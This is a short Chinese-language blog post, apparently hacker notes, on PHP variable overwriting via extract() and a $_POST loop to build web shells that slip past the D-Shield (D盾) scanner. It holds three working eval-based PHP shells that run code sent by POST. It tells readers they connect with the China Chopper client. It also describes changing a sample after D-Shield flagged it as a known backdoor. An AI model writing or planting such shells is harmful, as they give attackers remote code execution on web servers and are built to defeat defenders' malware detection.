关于extract函数之前一篇文章CTF学习笔记中已经介绍过了,昨晚上突然想到用这个变量覆盖来绕过d盾我自个觉得我脑洞真大hhhhh.
d盾杀马不杀执行函数,主要杀带参,举几个例子 eval("phpinfo()");
你把eval内容写死了,d盾就不报,所以我大概思路就是用eval执行一个已经被定义了的变量,这个变量的内容是安全的,然后用extract覆盖掉变量,最终eval执行的还是我们传入的内容,但是d盾只认为他执行的之前那个被定义了的变量.
<?php
$array = array(
2 => $_POST,
);
$a = 'a';
$b = 0;
extract($array[2]);
eval($a.$b);
?>
最开始只定义一个变量,然后覆盖,d盾一直给我报等级一,可疑eval可疑assert
咱再加个变量,改成上面那样,就不可疑了,嘿嘿
关于菜刀链接的问题,这个很简单
自己要改密码的话改变量名就好了.
过waf原理主要是变量覆盖,但是咱不止extract这一中覆盖方式, For example :
<?php
$a = 'a';
$b = 'b';
$c = null;
foreach ($_POST as $key => $value){
${$key} = $value;
}
eval($a.$b.$c);//这里把eval换成assert会报等级1...emmmm
?>
这些变量覆盖的知识都是在CTF中学的,实战没用上在这用上了2333333
现在拿d盾一扫发现前面那个马被提交样本了,直接给我报五级已知后门,不过我改了一下又能用了
<?php
$array = array(
2 => $_POST,
);
$a = 'a';
$b = 0;
$c = null;
extract($array[2]);
eval($a.$b.$c);
?>